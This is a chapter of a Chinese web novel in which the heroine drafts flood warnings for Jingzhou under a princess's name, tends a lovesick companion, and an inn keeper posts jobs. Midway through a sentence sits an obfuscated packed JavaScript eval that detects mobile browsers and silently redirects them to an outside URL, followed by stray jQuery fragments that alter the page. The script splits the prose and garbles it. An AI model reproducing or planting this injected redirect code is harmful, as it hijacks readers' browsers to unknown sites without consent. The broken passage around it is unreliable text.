12. 第 12 章

作品:《这个少爷他正经吗?

    江溪去咽下苦涩的中药,脸皱成一团,嘴里含着阿霁买的蜜饯,披着薄衾,坐在大厅门槛上,双手托腮等她回来。


    这个位置既能阿霁一打开大门就看见他,也能让他第一个迎接阿霁回家。


    直到雨幕落下,江溪去想起阿霁没有带伞,他立即起身,拿起放在大厅墙边的油纸伞,脱下薄衾就要出门。


    王四眼尖发现他的异样,上前阻拦:“郎君要去哪,同我们说声即可。”


    江溪去抿唇:“外面下雨了,阿霁没有带伞,我要给她送伞。”


    “那郎君可知商姑娘在何处?又要往哪送伞?”


    “我可以去问,去找有没有人见过她。”一双狐狸眼中满是执拗,他补充道,“我会找到她的,淋雨会着凉发热,生病难受,阿霁不能生病。”


    “可郎君自己还发着热,要是又淋雨加深了病情,姑娘更不会放过你我。”


    江溪去最听的就是商雨霁的话,王四试探着搬出商姑娘,看看能否劝退他。


    果不其然,听到商雨霁会生气,江溪去不由得踌躇,气势跟着弱了下去:“那,那伞给你,你帮我去找阿霁。”


    王四见他放弃,心中松了口气,接过他递来的油纸伞,应声离开。


    江溪去捡起落在大厅木椅上的薄衾,将薄衾围绕己身,蹲坐在宽大的木椅上,出神地盯着打开又闭合的大门。


    期待它下一次推开,出现的会是他心中所念之人。


    王四循着医馆的方向走,偶尔停下询问有没有人见过商雨霁,很快,还未到医馆,他与商雨霁碰了面。


    “商姑娘,是江郎君担忧你,让我出来送伞。”他主动开口解释。


    商雨霁大概猜到真实情况是江溪去想来送伞,但被王四劝下了:“辛苦你了,我们先回去吧。”


    回到荷花道,走至府邸大门,推开门,瞧见的是撑伞满脸喜悦奔来的江溪去。


    他看着商雨霁新买的油纸伞,夸赞道:“阿霁真聪明,新买了一把伞就不会淋雨啦。”


    说完,似乎嫌弃两把伞相隔开的距离,他快速躲到她的伞下,再把手中的伞关好。


    商雨霁也被他无厘头的夸奖逗笑:“阿霁还知道下雨了要躲雨,不像有的人不知道人在哪仍打算出门找人。”


    他腼着脸揪住她的衣摆:“我就是担心阿霁淋雨生病,生病不舒服,生病要吃药,生病不好,阿霁不要生病。”


    “那你还不回屋好好歇息,再这样下去病可不会好的。”


    商雨霁走向书房,他一路跟随,她无奈下指向他的房间:“我有事要做,你先去睡一觉。”


    江溪去不会忤逆她的话,在檐下撑开他的伞,一步三回头道:“我醒来后想看见阿霁。”


    “到时候你出门喊一声‘云销’,自己听声音找我。”


    “好!”他得到承诺,终于满意地回屋休息。


    书房里备有纸笔,她把纸笔摆放好,对站在屋外的王四说道:“你先退下吧,待会我叫你再过来。”


    他应声离开。


    待书房仅有她一人,听着雨声,她沉下心来思考该如何做。


    荆州水灾一事,她一个人是包揽不下来的,得多方发力,才能从险境中谋得生机。


    事有轻重缓急,她需长公主的助力。


    文中荆州水患事发,长公主正被禁足,消息知道得晚,又远在京城,鞭长莫及。


    水患将于一个月后的深夜突至,信件要是从扬州送往京城,再由京城长公主府发放号令去往荆州治水,时间战线过长。


    兴许水患已经发生,信件还在路上。


    为减少传信时间,将从她手中分别寄出信件。


    一封借以长公主之名寄给荆州刺史,另一个送往京城同长公主解释缘由,再拜托她出手,协助荆州渡过难关。


    送给荆州刺史的信好写又不好写。


    好写在借用长公主的名义,不用过多解释涝灾消息的来由。


    不好写的则在提出的水灾自救和注意事项。


    荆州临近大江大湖,地势广阔,当地自有针对水患的处理方案和经验,但商雨霁还是把自己知道的所有能减缓灾情的方法写下。


    要是有的方法有用,那就可以多救下一条性命。


    为大河引流,分离主支的水流压力,可挖沟渠和引水湖等。


    还要备好竹筏木船等水上交通用具,方便救下被淹的百姓。


    有的百姓水灾来时躲到屋顶,树上等高处,避免被湍流冲走,但同时也将自己逼入孤立无援的地步,若没能及时得到救援,往往会死于颗粒未进的饥饿。


    也有的会尝试喝下.流经身旁浑浊的河水来解渴,但浊水中满是细菌,最终丧命于感染。


    这件事得重点提醒,叫他们不要喝生水,尽量喝煮开的,干净的沸水。考虑到此,她又延伸出了灾前灾后的卫生问题,注意卫生一定程度上可以减少细菌侵入,降低生病的概率。


    还不忘提点保护好能治病的药材,她不强调是药材的种类,因为水患一蔓延,在淹了整个荆州城的情况下,能抢救得下一批药材是一批。


    洋洋洒洒写满好几张信纸,最后再次强调暴雨来得突然,夜半而至,因此失了最佳逃离时间,望荆州做好水文观测,加固堤坝,夜间也留人警惕,莫要轻视。


    主要是她记不清详细的事发时间,只能让他们留心观察了。


    文中也仅是一句“七月中旬,荆州水患,水淹荆州城,百姓十不存一,流离失所。”


    荆州一事更多是作为故事背景存在,书里的笔墨并不多,商雨霁无法知晓其中的细节,把握不清,便尽量把任何情况都考虑到。


    打一场有准备的仗总比突如其来束手无策的好些。


    落笔,商雨霁唤来王四,让他把信寄往荆州刺史的官邸。


    “荆州?”


    王四不理解商姑娘何时认识的荆州刺史,要紧的是,她要求以长公主的名义送信。


    商雨霁:“我会再写封信同长公主解释缘由,你先把这封送走。”


    荆州刺史李万景是位受人爱戴的好官,可能会怀疑这封信的意图,希望他看在长公主的面子上,能多做些预防和救治的措施。


    本可以等写完给长公主的信再一齐送过去,不过写完也不知道还要多久,提前送了去荆州的书信,回来有时间让他顺带去牙行一趟。


    “回来的路上你再去牙行,把牙婆找来的长工一并领来,我掌个眼,挑些人来府里做事。”


    府中四人,要不是厨艺不行,要不就是忙碌腾不出时间,找个专门的厨娘和采购员,能省心不少。


    王四不再多言,揣着书信离开。


    接下来怎么和长公主解释,反倒成了难题。


    虽说近两个月来她与长公主常有书信往来,但更多是金钱交易上的互动。


    如今的这番举动,倒像是她成为了长公主一派,为其出谋划策,排忧解难。


    其实就朝廷中的各个势力而言,她还是更乐意为长公主办事。


    毕竟在书中后期一群只知道床榻间寻欢作乐的大臣和帝皇,谁又能相信他们能好好地治理天下?


    荆州一事既能救助万千百姓,同时可向长公主投诚。


    但解释她如何知晓荆州水患一事,足够令她头疼。


    等等,她可以学海盐法的神秘老翁,再捏造一个不知名的老


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573045|171030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    媪。


    法子不在老,有用就行。


    有了第一次的经验,商雨霁对捏造一个不存在的老媪很有心得。


    一天月圆之夜,她独自一人时,偶遇一位穿着奇异,手脸绘有神秘图腾的老媪,老媪面露哀悼望向扬州的方向,口中低声唱道:


    “荆州荆州,七月水城,怨气横生,悲悲悲!”


    再加些神秘色彩,老媪唱完,转眼间消失了,怎么也找不到。


    理由的事和她借用名义可以借此混过去,之后的内容便是望长公主能出手,救荆州一把。


    刚写完,就听见江溪去醒来大喊“云销”,她遥遥应了声:“诶,我在书房!”


    见江溪去穿戴整齐进书房,商雨霁方把信封装好,拜托他叫来老陈。


    老陈来后,把要给长公主的信封交予他,托他送往京城。


    书信去京城快马加鞭也要半个月,京城得到消息再做出反应,派人从京城去支援荆州也得走一个月的路程。


    这样一想,荆州水患的急报送去京城,结果朝堂争利推脱糊弄,到拍板赈灾,赈灾物资筹备和运输等一串流程下来,荆州不剩下一座空城,都算是父母官称心称职和百姓顽强生存了。


    事发突然,商雨霁也不知道自己做的,能不能帮荆州一把,脑袋里的想法一个跟着一个跳出来,偏偏连续写了近一个半时辰的书信,手腕还酸得厉害。


    她蹙起眉,转动腕骨,下一刻一只白嫩得骨节粉红的玉手捧过她的右手手腕,轻轻揉捏。


    “不痛不痛。”江溪去轻揉手中捧着的腕骨处。


    怕她仍感觉不舒服,他学着她曾经安慰自己的方法,向揉捏的腕骨处呼气:“快快好起来。”


    商雨霁任由他的动作,用空着的另一只手挪动红木凳,与他所坐的木凳相碰后,便侧着身,将头靠在他的肩上,闭目养神。


    “阿霁累了?”


    “嗯,有点。”


    “那阿霁随便靠,休息一下。”


    “等王四回来了,叫我起来。”


    “好。”他放轻揉捏她手腕的力道,应了声。


    .


    福来客栈,隔离室内。


    掌柜正理着最近接的“小生意”,按照银钱的多少,分为大单,中单和小单。


    早晨时下了二千两收集消息的单子自然排在首位,和下面那些找猫遛狗,鸡毛蒜皮的小打小闹隔开,二千两单独占了一页。


    做了那么久的生意,难得见到如此大的一口价单子。


    他把写了各种单子的纸张揣好,推开屋内的暗门,走过客栈人才能通过的游廊,绕了两个大弯,终于走到目的地。


    一处高墙围绕,长长的飞檐遮住高处窥探视线的空地。


    四周的墙面上分别写有“委托处”“交易处”“提交处”和“答疑处”。


    这是每座大型福来客栈都会有的江湖贴职点,又称江湖兼职点,给路过客栈不论囊中羞涩还是心血来潮想接委托的武林人提供工作的地方。


    掌柜同安排核验委托是否完成的小厮打招呼,才定在委托墙,按照大中小单顺序,把手中的单子糊在委托墙上。


    粘着二千两大单时,掌柜想到武林魁首的那位贫困潦倒的二徒弟,这个大单要是被他接下,没准能让他轻松一些。


    下一刻,掌柜抹过额头因为劳作流下的汗,抬头的刹那与翻墙而入的人一眼万年。


    掌柜若认识一位叫曹操的猛人,没准就能理解这一刻莫名的心理,唤做“说曹操曹操到”。


    掌柜缓了缓,疑惑问道:


    “林明山?你怎么来扬州了?”


    “还有,客栈有门,下次给我从门进来!”